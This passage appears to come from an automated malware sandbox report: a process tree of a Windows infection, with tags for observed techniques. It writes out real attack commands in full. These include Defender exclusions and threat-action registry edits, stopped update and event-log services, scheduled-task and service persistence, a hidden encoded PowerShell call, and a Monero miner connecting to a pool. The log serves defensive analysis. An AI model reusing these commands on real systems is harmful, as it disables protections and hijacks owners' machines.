                                                                                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                            8⤵
                                                                                                                                                              PID:3748
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:3768
                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                    10⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    PID:3860
                                                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                      11⤵
                                                                                                                                                                        PID:3152
                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:4060
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:2132
                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                        PID:3208
                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                          10⤵
                                                                                                                                                                            PID:3624
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\RYxniJw.exe\" it /PdldidFsHw 385118 /S" /V1 /F
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                      PID:3560
                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:2768
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:3284
                                                                                                                                                                            • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                                                                              schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:3540
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1612
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:1564
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2296
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:796
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:3612
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe"
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:2072
                                                                                                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                  5⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  PID:3660
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:1356
                                                                                                                                                                                    • C:\Windows\system32\wusa.exe
                                                                                                                                                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:3792
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:3928
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:3388
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:1476
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:3996
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:3660
                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:2768
                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:2720
                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:3288
                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:920
                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                              C:\Windows\system32\sc.exe delete "WSNKISKT"
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:1604
                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                              C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:2592
                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                              C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:2756
                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                              C:\Windows\system32\sc.exe start "WSNKISKT"
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                              PID:2864
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1712
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              PID:1124
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              PID:3776
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              PID:2948
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              PID:3540
                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:3972
                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        PID:2232
                                                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                                                                                                                                          "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                          PID:2616
                                                                                                                                                                                          • C:\Windows\Temp\127055.exe
                                                                                                                                                                                            "C:\Windows\Temp\127055.exe" --list-devices
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                            PID:2720
                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2732
                                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                                                                                                                                            "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1100
                                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:3000
                                                                                                                                                                                              • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                                                                                                                                                "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1620
                                                                                                                                                                                                  • C:\Windows\Temp\728258.exe
                                                                                                                                                                                                    "C:\Windows\Temp\728258.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2120
                                                                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe "-359867078-1201342197352886507-1521795268-1586590423-942573878-2093268082-1318655886"
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:2188
                                                                                                                                                                                                  • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                    taskeng.exe {3A9B6C6B-CA9B-4DC5-A930-AB37A5188810} S-1-5-21-330940541-141609230-1670313778-1000:KXIPPCKF\Admin:Interactive:[1]
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:2904
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2884
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:4004
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            PID:3704
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\9C20.bat" "
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:3940
                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                              reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3800
                                                                                                                                                                                                            • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                              taskeng.exe {A0C7BAAC-E03D-419F-BDCD-85EABDCF3FBD} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:580
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\RYxniJw.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\RYxniJw.exe it /PdldidFsHw 385118 /S
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3248
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3188
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:3552
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:2024
                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:3176
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:4052
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:1480
                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:3172
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:3528
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:3264
                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:3304
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:3732
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:3204
                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:3952
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:3368
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:1092
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                          PID:3588
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                              PID:2496
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\RYxniJw.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\RYxniJw.exe it /PdldidFsHw 385118 /S
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:3492
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:3272
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:3536
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:3112
                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:3924
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:2760
                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:1996
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:920
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:3288
                                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:2768
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:3968
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:3340
                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:3132
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
